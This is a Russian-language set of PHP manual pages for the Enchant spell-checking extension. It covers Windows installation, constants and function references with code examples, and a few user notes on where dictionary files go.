Для работы этого модуля системной переменной Windows PATHдолжны быть доступны DLL-файлы. Чтобы узнать как этого достичь, обратитесь к разделу FAQ "Как добавить мою директорию с PHP в переменную Windows PATH". Хотя копирование DLL-файлов из директории PHP в системную папку Windows также решает проблему (потому что системная директория по умолчанию находится в переменной PATH), это не рекомендуется. Этому модулю требуются следующие файлы в переменной PATH: libenchant.dll, glib-2.dll, gmodule-2.dll.

Кроме того, необходимо скопировать хотя бы одного поставщика из lib\enchant в \usr\local\lib\enchant-2 (это абсолютный путь от корня текущего диска). До версии PHP 8.0.0, т.е. при использовании Enchant v1, поставщики должны были быть скопированы в C:\enchant_plugins, где этот путь может быть настроен путём создания значения реестра HKEY_CURRENT_USER\SOFTWARE\Enchant\Config\Module_Dir, указав в нём желаемый путь.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

До PHP 8.0.0, в этом модуле используются два типа ресурсов. Первый для брокера (менеджер бэкендов). Второй для словаря.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

LIBENCHANT_VERSION (string)
Версия libenchant. Доступно с PHP 8.0.0.
ENCHANT_MYSPELL (int)
Тип словаря MySpell. Используется с enchant_broker_get_dict_path() и enchant_broker_set_dict_path(). Объявлено устаревшим в PHP 8.0.0.
ENCHANT_ISPELL (int)
Тип словаря Ispell. Используется с enchant_broker_get_dict_path() и enchant_broker_set_dict_path(). Объявлено устаревшим в PHP 8.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Пример использования Enchant

<?php
$tag = 'en_US';
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Доступны следующие бэкенды:\n";
print_r($bprovides);

$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
if (enchant_broker_dict_exists($r,$tag)) {
$d = enchant_broker_request_dict($r, $tag);
$dprovides = enchant_dict_describe($d);
echo "словарь $tag:\n";
$wordcorrect = enchant_dict_check($d, "soong");
print_r($dprovides);
if (!$wordcorrect) {
$suggs = enchant_dict_suggest($d, "soong");
echo "Предложения для 'soong':";
print_r($suggs);
}
enchant_broker_free_dict($d);
} else {
}
enchant_broker_free($r);
?>

User Contributed Notes

ch1902 15-Aug-2013 09:58
One thing to add to robert.johnson's very helpful post, I found that the dictionary files (*.dic and *.aff) could only contain A-Z and _ characters or they wouldn't be listed in the output of enchant_broker_list_dicts() (at least for PHP 5.4 / Windows).

This was an issue when downloading some of the dictionary files from https://addons.mozilla.org/firefox/language-tools/ where the file names contained hyphens, pt-BR for example. Just replace the hyphen with an underscore in the file name and enchant recognises the language code.
robert dot johnson at icap dot com 14-Aug-2013 04:21
To repeat a note by  wschalle at gmail dot com on page http://www.php.net/manual/en/book.enchant.php

The enchant library does not work unless libenchant_myspell.dll and libenchant_ispell.dll are placed in [PHP]\lib\enchant from PHP 5.4.13.

Dictionaries will still load from [PHP]\share\myspell\dicts.
robert dot johnson at icap dot com 03-Sep-2012 12:49
Here is help for Windows users:

You need to add dictionaries to your computer for Enchant.

1. Enchant looks in your registry keys, I don't know what keys it wants, but it looks here - I ignored all of these:
  * Default User\Software\Enchant\Config
  * Default User\Software\Enchant\Ispell
  * Default User\Software\Enchant\Myspell
2. It looks for OpenOffice dictionaries (from the registry settings for OpenOffice)
3. It looks in folder [PHP]\share\myspell\dicts

I got it working by copying the en-us dictionary files from Firefox into \share\myspell\dicts, and renaming them en_US.*.  You can download and install dictionaries from OpenOffice from here I think: http://extensions.services.openoffice.org/dictionary

Enchant creates and writes to the following folder, so you must allow PHP read and write permissions to: [SYSTEM32]\config\systemprofile\Application Data\enchant

It would be convenient if Enchant could accept parameters to specify the location of the main dictionaries and user-dictionaries, I suppose the registry keys are the only way to do it.


Функции Enchant

Содержание

  • enchant_broker_describe — Перечисляет провайдеров Enchant
  • enchant_broker_dict_exists — Проверяет, присутствует ли словарь или нет. Используется не пустой тег
  • enchant_broker_free_dict — Освобождает ресурс словаря
  • enchant_broker_free — Освобождает ресурс брокера и его словари
  • enchant_broker_get_dict_path — Возвращает путь словаря для заданного бэкенда
  • enchant_broker_get_error — Возвращает последнюю ошибку брокера
  • enchant_broker_init — Создать новый объект брокера
  • enchant_broker_list_dicts — Возвращает список доступных словарей
  • enchant_broker_request_dict — Создать новый словарь используя тег
  • enchant_broker_request_pwl_dict — Создать словарь используя файл PWL
  • enchant_broker_set_dict_path — Установить путь для заданного бэкенда
  • enchant_broker_set_ordering — Задать предпочтения по выбору словарей для языка
  • enchant_dict_add_to_personal — Добавить слово в список персональных слов
  • enchant_dict_add_to_session — Добавить слово в текущую сессию проверки
  • enchant_dict_add — Добавляет слово в личный словарь
  • enchant_dict_check — Проверяет, корректно ли задано слово
  • enchant_dict_describe — Возвращает информацию о словаре
  • enchant_dict_get_error — Возвращает последнюю ошибку текущей сессии проверки
  • enchant_dict_is_added — Определяет, существует ли слово в этой орфографической сессии
  • enchant_dict_is_in_session — Присутствует ли слово 'word' в сессии проверки
  • enchant_dict_quick_check — Проверить, правильно ли написано слово и предложить варианты замены
  • enchant_dict_store_replacement — Добавить исправление для слова
  • enchant_dict_suggest — Вернёт список возможных вариантов для слова с ошибкой

User Contributed Notes

There are no user contributed notes for this page.


Перечисляет провайдеров Enchant

  • « Функции Enchant
  • enchant_broker_dict_exists »
  • PHP Manual
  • Функции Enchant
  • Перечисляет провайдеров Enchant

enchant_broker_describe

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0)

enchant_broker_describe — Перечисляет провайдеров Enchant

Описание

enchant_broker_describe(EnchantBroker $broker): array

Перечисляет провайдеров Enchant и возвращает минимальную информацию о них. Та же информация может быть получена через phpinfo().

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

Возвращаемые значения

Возвращает массив (array) доступных провайдеров Enchant с их данными.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).
8.0.0 | До этой версии функция возвращала false в случае возникновения ошибки.

Примеры

Пример #1 Список бэкендов предоставляемых конкретным брокером

<?php
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Брокер предоставляет следующие бэкенды:\n";
print_r($bprovides);

?>

Результатом выполнения данного примера будет что-то подобное:

Брокер предоставляет следующие бэкенды:
Array
(
    [0] => Array
        (
            [name] => aspell
            [desc] => Aspell Provider
            [file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [name] => hspell
            [desc] => Hspell Provider
            [file] => /usr/lib/enchant/libenchant_hspell.so
        )

    [2] => Array
        (
            [name] => ispell
            [desc] => Ispell Provider
            [file] => /usr/lib/enchant/libenchant_ispell.so
        )

    [3] => Array
        (
            [name] => myspell
            [desc] => Myspell Provider
            [file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, присутствует ли словарь или нет. Используется не пустой тег

  • « enchant_broker_describe
  • enchant_broker_free_dict »
  • PHP Manual
  • Функции Enchant
  • Проверяет, присутствует ли словарь или нет. Используется не пустой тег

enchant_broker_dict_exists

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_dict_exists — Проверяет, присутствует ли словарь или нет. Используется не пустой тег

Описание

enchant_broker_dict_exists(EnchantBroker $broker, string $tag): bool

Проверяет, присутствует ли словарь или нет используя не пустой тег

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

tag

Не пустой тег в формате LOCALE, т.е.: us_US, ch_DE и т.д.

Возвращаемые значения

Возвращает true или false.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования enchant_broker_dict_exists()

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
echo $tag . " словарь найден.\n";
}
?>

Смотрите также

  • enchant_broker_describe() - Перечисляет провайдеров Enchant

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурс словаря

  • « enchant_broker_dict_exists
  • enchant_broker_free »
  • PHP Manual
  • Функции Enchant
  • Освобождает ресурс словаря

enchant_broker_free_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_free_dict — Освобождает ресурс словаря

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

enchant_broker_free_dict(EnchantDictionary $dictionary): bool

Освобождает словарь. Начиная с PHP 8.0.0, рекомендуется уничтожить объект вместо вызова этой функции.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает EnchantDictionary; Ранее ожидался ресурс (resource).

Смотрите также

  • enchant_broker_request_dict() - Создать новый словарь используя тег
  • enchant_broker_request_pwl_dict() - Создать словарь используя файл PWL

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурс брокера и его словари

  • « enchant_broker_free_dict
  • enchant_broker_get_dict_path »
  • PHP Manual
  • Функции Enchant
  • Освобождает ресурс брокера и его словари

enchant_broker_free

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_free — Освобождает ресурс брокера и его словари

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

enchant_broker_free(EnchantBroker $broker): bool

Освобождает брокера со всеми его словарями. Начиная с PHP 8.0.0, рекомендуется уничтожить объект вместо вызова этой функции.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).

Смотрите также

  • enchant_broker_init() - Создать новый объект брокера

User Contributed Notes

There are no user contributed notes for this page.


Возвращает путь словаря для заданного бэкенда

  • « enchant_broker_free
  • enchant_broker_get_error »
  • PHP Manual
  • Функции Enchant
  • Возвращает путь словаря для заданного бэкенда

enchant_broker_get_dict_path

(PHP 5 >= 5.3.1, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_get_dict_path — Возвращает путь словаря для заданного бэкенда

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

enchant_broker_get_dict_path(EnchantBroker $broker, int $type): string|false

Возвращает путь словаря для заданного бэкенда.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

type

Тип словарей, т.е. ENCHANT_MYSPELL или ENCHANT_ISPELL.

Возвращаемые значения

Возвращает путь к директории словаря в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).

Примечания

Замечание:

Функция доступна, только если модуль был скомпилирован с Enchant v1.

Смотрите также

  • enchant_broker_set_dict_path() - Установить путь для заданного бэкенда

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю ошибку брокера

  • « enchant_broker_get_dict_path
  • enchant_broker_init »
  • PHP Manual
  • Функции Enchant
  • Возвращает последнюю ошибку брокера

enchant_broker_get_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_get_error — Возвращает последнюю ошибку брокера

Описание

enchant_broker_get_error(EnchantBroker $broker): string|false

Возвращает последнюю ошибку, возникшую на брокере.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

Возвращаемые значения

Возвращает строку с ошибкой, если таковая была, или false

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект брокера

  • « enchant_broker_get_error
  • enchant_broker_list_dicts »
  • PHP Manual
  • Функции Enchant
  • Создать новый объект брокера

enchant_broker_init

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_init — Создать новый объект брокера

Описание

enchant_broker_init(): EnchantBroker|false

Список параметров

Возвращаемые значения

Возвращает ресурс брокера или false, если возникла ошибка.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр EnchantBroker; Ранее возвращался ресурс (resource).

Смотрите также

  • enchant_broker_free() - Освобождает ресурс брокера и его словари

User Contributed Notes

There are no user contributed notes for this page.


Возвращает список доступных словарей

  • « enchant_broker_init
  • enchant_broker_request_dict »
  • PHP Manual
  • Функции Enchant
  • Возвращает список доступных словарей

enchant_broker_list_dicts

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_list_dicts — Возвращает список доступных словарей

Описание

enchant_broker_list_dicts(EnchantBroker $broker): array

Возвращает список доступных словарей.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

Возвращаемые значения

Возвращает массив (array) доступных словарей с их данными.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).
8.0.0 | До этой версии функция возвращала false в случае возникновения ошибки.

Примеры

Пример #1 Список всех доступных на брокере словарей

<?php
$r = enchant_broker_init();
$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => Array
        (
            [lang_tag] => de
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [lang_tag] => de_DE
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [3] => Array
        (
            [lang_tag] => en
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [4] => Array
        (
            [lang_tag] => en_GB
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [5] => Array
        (
            [lang_tag] => en_US
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [6] => Array
        (
            [lang_tag] => hi_IN
            [provider_name] => myspell
            [provider_desc] => Myspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

Смотрите также

  • enchant_broker_describe() - Перечисляет провайдеров Enchant

User Contributed Notes

There are no user contributed notes for this page.


Создать новый словарь используя тег

  • « enchant_broker_list_dicts
  • enchant_broker_request_pwl_dict »
  • PHP Manual
  • Функции Enchant
  • Создать новый словарь используя тег

enchant_broker_request_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_request_dict — Создать новый словарь используя тег

Описание

enchant_broker_request_dict(EnchantBroker $broker, string $tag): EnchantDictionary|false

Создаёт новый словарь используя не пустой языковой тег ("en_US", "ru_RU", ...)

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

tag

Тег описания локали, к примеру en_US, ru_RU

Возвращаемые значения

Возвращает ресурс словаря в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).
8.0.0 | В случае успешного выполнения функция возвращает экземпляр EnchantDictionary; Ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования enchant_broker_request_dict()

Проверяем, существует ли словарь с помощью enchant_broker_dict_exists() и, затем, запрашиваем его.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
$dict = enchant_broker_request_dict($r, $tag);
}
?>

Смотрите также

  • enchant_dict_describe() - Возвращает информацию о словаре
  • enchant_broker_dict_exists() - Проверяет, присутствует ли словарь или нет. Используется не пустой тег
  • enchant_broker_free_dict() - Освобождает ресурс словаря

User Contributed Notes

There are no user contributed notes for this page.


Создать словарь используя файл PWL

  • « enchant_broker_request_dict
  • enchant_broker_set_dict_path »
  • PHP Manual
  • Функции Enchant
  • Создать словарь используя файл PWL

enchant_broker_request_pwl_dict

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_request_pwl_dict — Создать словарь используя файл PWL

Описание

enchant_broker_request_pwl_dict(EnchantBroker $broker, string $filename): EnchantDictionary|false

Создаёт словарь используя файл PWL. Файл PWL - это пользовательский файл со словами, по одному слову на строку.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

filename

Путь к файлу PWL. Если файл отсутствует, то будет создан новый с таким именем, если возможно.

Возвращаемые значения

Возвращает ресурс словаря в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).
8.0.0 | В случае успешного выполнения функция возвращает экземпляр EnchantDictionary; Ранее возвращался ресурс (resource).

Смотрите также

  • enchant_dict_describe() - Возвращает информацию о словаре
  • enchant_broker_dict_exists() - Проверяет, присутствует ли словарь или нет. Используется не пустой тег
  • enchant_broker_free_dict() - Освобождает ресурс словаря

User Contributed Notes

There are no user contributed notes for this page.


Установить путь для заданного бэкенда

  • « enchant_broker_request_pwl_dict
  • enchant_broker_set_ordering »
  • PHP Manual
  • Функции Enchant
  • Установить путь для заданного бэкенда

enchant_broker_set_dict_path

(PHP 5 >= 5.3.1, PHP 7, PHP 8, PECL enchant >= 1.0.1)

enchant_broker_set_dict_path — Установить путь для заданного бэкенда

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

enchant_broker_set_dict_path(EnchantBroker $broker, int $type, string $path): bool

Установить путь для заданного бэкенда.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

type

Тип словарей, т.е. ENCHANT_MYSPELL или ENCHANT_ISPELL.

path

Путь к директории со словарями.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).

Примечания

Замечание:

Функция доступна, только если модуль был скомпилирован с Enchant v1.

Смотрите также

  • enchant_broker_get_dict_path() - Возвращает путь словаря для заданного бэкенда

User Contributed Notes

There are no user contributed notes for this page.


Задать предпочтения по выбору словарей для языка

  • « enchant_broker_set_dict_path
  • enchant_dict_add_to_personal »
  • PHP Manual
  • Функции Enchant
  • Задать предпочтения по выбору словарей для языка

enchant_broker_set_ordering

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_broker_set_ordering — Задать предпочтения по выбору словарей для языка

Описание

enchant_broker_set_ordering(EnchantBroker $broker, string $tag, string $ordering): bool

Задаёт предпочтения по выбору словарей для языка, описанный с помощью тега 'tag'. Порядок задаётся с помощью списка имён провайдеров, разделённых запятыми. В особых случаях можно использовать тег "*" для определения порядка для всех языков, для которых этот порядок не задаётся явно.

Список параметров

broker

Провайдер Enchant, возвращаемый enchant_broker_init().

tag

Языковой тег. В особых случаях можно использовать тег "*" для определения порядка для всех языков, для которых этот порядок не задаётся явно.

ordering

Список имён провайдеров, разделённых запятыми

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | broker ожидает экземпляр EnchantBroker; Ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Добавить слово в список персональных слов

  • « enchant_broker_set_ordering
  • enchant_dict_add_to_session »
  • PHP Manual
  • Функции Enchant
  • Добавить слово в список персональных слов

enchant_dict_add_to_personal

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_add_to_personal — Добавить слово в список персональных слов

Внимание

Псевдоним объявлен УСТАРЕВШИМ в PHP 8.0.0.

Описание

Функция является псевдонимом: enchant_dict_add().

User Contributed Notes

There are no user contributed notes for this page.


Добавить слово в текущую сессию проверки

  • « enchant_dict_add_to_personal
  • enchant_dict_add »
  • PHP Manual
  • Функции Enchant
  • Добавить слово в текущую сессию проверки

enchant_dict_add_to_session

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_add_to_session — Добавить слово в текущую сессию проверки

Описание

enchant_dict_add_to_session(EnchantDictionary $dictionary, string $word): void

Добавляет слово в заданный словарь. Слово будет присутствовать только в текущей сессии проверки.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

word

Слово для добавления

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

Смотрите также

  • enchant_broker_request_dict() - Создать новый словарь используя тег

User Contributed Notes

There are no user contributed notes for this page.


Добавляет слово в личный словарь

  • « enchant_dict_add_to_session
  • enchant_dict_check »
  • PHP Manual
  • Функции Enchant
  • Добавляет слово в личный словарь

enchant_dict_add

(PHP 8)

enchant_dict_add — Добавляет слово в личный словарь

Описание

enchant_dict_add(EnchantDictionary $dictionary, string $word): void

Добавляет слово в личный словарь.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

word

Слово, которое необходимо добавить

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

Пример #1 Добавление слова в PWL

<?php

$filename = './my_word_list.pwl';
$word = 'Supercalifragilisticexpialidocious';

$broker = enchant_broker_init();
$dict = enchant_broker_request_pwl_dict($broker, $filename);

enchant_dict_add($dict, $word);

enchant_broker_free($broker);

?>

Смотрите также

  • enchant_broker_request_pwl_dict() - Создать словарь используя файл PWL
  • enchant_broker_request_dict() - Создать новый словарь используя тег

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, корректно ли задано слово

  • « enchant_dict_add
  • enchant_dict_describe »
  • PHP Manual
  • Функции Enchant
  • Проверяет, корректно ли задано слово

enchant_dict_check

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_check — Проверяет, корректно ли задано слово

Описание

enchant_dict_check(EnchantDictionary $dictionary, string $word): bool

Возвращает true, если слово написано без ошибок или false, если с ошибками.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

word

Слово для проверки

Возвращаемые значения

Возвращает true, если слово написано без ошибок или false, если с ошибками.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о словаре

  • « enchant_dict_check
  • enchant_dict_get_error »
  • PHP Manual
  • Функции Enchant
  • Возвращает информацию о словаре

enchant_dict_describe

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_describe — Возвращает информацию о словаре

Описание

enchant_dict_describe(EnchantDictionary $dictionary): array

Возвращает информацию о словаре.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).
8.0.0 | До этой версии функция возвращала false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования enchant_dict_describe()

Проверим, что словарь есть с помощью enchant_broker_dict_exists() и получим информацию о нем.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
$dict = enchant_broker_request_dict($r, $tag);
$dict_details = enchant_dict_describe($dict);
print_r($dict_details);
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [lang] => en_US
    [name] => aspell
    [desc] => Aspell Provider
    [file] => /usr/lib/enchant/libenchant_aspell.so
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю ошибку текущей сессии проверки

  • « enchant_dict_describe
  • enchant_dict_is_added »
  • PHP Manual
  • Функции Enchant
  • Возвращает последнюю ошибку текущей сессии проверки

enchant_dict_get_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_get_error — Возвращает последнюю ошибку текущей сессии проверки

Описание

enchant_dict_get_error(EnchantDictionary $dictionary): string|false

Возвращает последнюю ошибку текущей сессии проверки.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

Возвращаемые значения

Возвращает строку с ошибкой или false, если таковой нет.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Определяет, существует ли слово в этой орфографической сессии

  • « enchant_dict_get_error
  • enchant_dict_is_in_session »
  • PHP Manual
  • Функции Enchant
  • Определяет, существует ли слово в этой орфографической сессии

enchant_dict_is_added

(PHP 8)

enchant_dict_is_added — Определяет, существует ли слово в этой орфографической сессии

Описание

enchant_dict_is_added(EnchantDictionary $dictionary, string $word): bool

Определяет, существует ли уже слово в текущей сессии.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

word

Слово для поиска

Возвращаемые значения

Возвращает true, если слово уже существует, в противном случае возвращает false

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

Смотрите также

  • enchant_dict_add_to_session() - Добавить слово в текущую сессию проверки

User Contributed Notes

There are no user contributed notes for this page.


Присутствует ли слово 'word' в сессии проверки

  • « enchant_dict_is_added
  • enchant_dict_quick_check »
  • PHP Manual
  • Функции Enchant
  • Присутствует ли слово 'word' в сессии проверки

enchant_dict_is_in_session

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_is_in_session — Присутствует ли слово 'word' в сессии проверки

Внимание

Псевдоним объявлен УСТАРЕВШИМ в PHP 8.0.0.

Описание

Функция является псевдонимом: enchant_dict_is_added().

User Contributed Notes

There are no user contributed notes for this page.


Проверить, правильно ли написано слово и предложить варианты замены

  • « enchant_dict_is_in_session
  • enchant_dict_store_replacement »
  • PHP Manual
  • Функции Enchant
  • Проверить, правильно ли написано слово и предложить варианты замены

enchant_dict_quick_check

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant:0.2.0-1.0.1)

enchant_dict_quick_check — Проверить, правильно ли написано слово и предложить варианты замены

Описание

enchant_dict_quick_check(EnchantDictionary $dictionary, string $word, array &$suggestions = null): bool

Если слово корректно, то вернёт true, в ином случае вернёт false. Если задан параметр suggestions, то он будет заполнен вариантами замены.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

word

Слово для проверки

suggestions

Если проверка провалилась, то эта переменная будет содержать массив с вариантами замены

Возвращаемые значения

Возвращает true, если слово написано правильно или false, если нет

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования enchant_dict_quick_check()

<?php
$tag = 'en_US';
$r = enchant_broker_init();

if (enchant_broker_dict_exists($r,$tag)) {
$d = enchant_broker_request_dict($r, $tag);
enchant_dict_quick_check($d, 'soong', $suggs);
print_r($suggs);
}
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => song
    [1] => snog
    [2] => soon
    [3] => Sang
    [4] => Sung
    [5] => sang
    [6] => sung
    [7] => sponge
    [8] => spongy
    [9] => snag
    [10] => snug
    [11] => sonic
    [12] => sing
    [13] => songs
    [14] => Son
    [15] => Sonja
    [16] => Synge
    [17] => son
    [18] => Sejong
    [19] => sarong
    [20] => sooner
    [21] => Sony
    [22] => sown
    [23] => scone
    [24] => song's
)

Смотрите также

  • enchant_dict_check() - Проверяет, корректно ли задано слово
  • enchant_dict_suggest() - Вернёт список возможных вариантов для слова с ошибкой

User Contributed Notes

There are no user contributed notes for this page.


Добавить исправление для слова

  • « enchant_dict_quick_check
  • enchant_dict_suggest »
  • PHP Manual
  • Функции Enchant
  • Добавить исправление для слова

enchant_dict_store_replacement

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_store_replacement — Добавить исправление для слова

Описание

enchant_dict_store_replacement(EnchantDictionary $dictionary, string $misspelled, string $correct): void

Добавить исправление 'cor' для 'mis'. Обратите внимание, что если вы замените @mis на @cor, то в будущем вхождения @mis будут заменяться на @cor. Соответственно это может поднять @cor вверх в списке возможных замен.

Список параметров

dictionary

Словарь Enchant, возвращаемый enchant_broker_request_dict() или enchant_broker_request_pwl_dict().

misspelled

Слово для исправления

correct

Корректное слово

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dictionary ожидает экземпляр EnchantDictionary; Ранее ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Вернёт список возможных вариантов для слова с ошибкой

  • « enchant_dict_store_replacement
  • EnchantBroker »
  • PHP Manual
  • Функции Enchant
  • Вернёт список возможных вариантов для слова с ошибкой

enchant_dict_suggest

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_suggest — Вернёт список возможных вариантов для слова с ошибкой

Описание

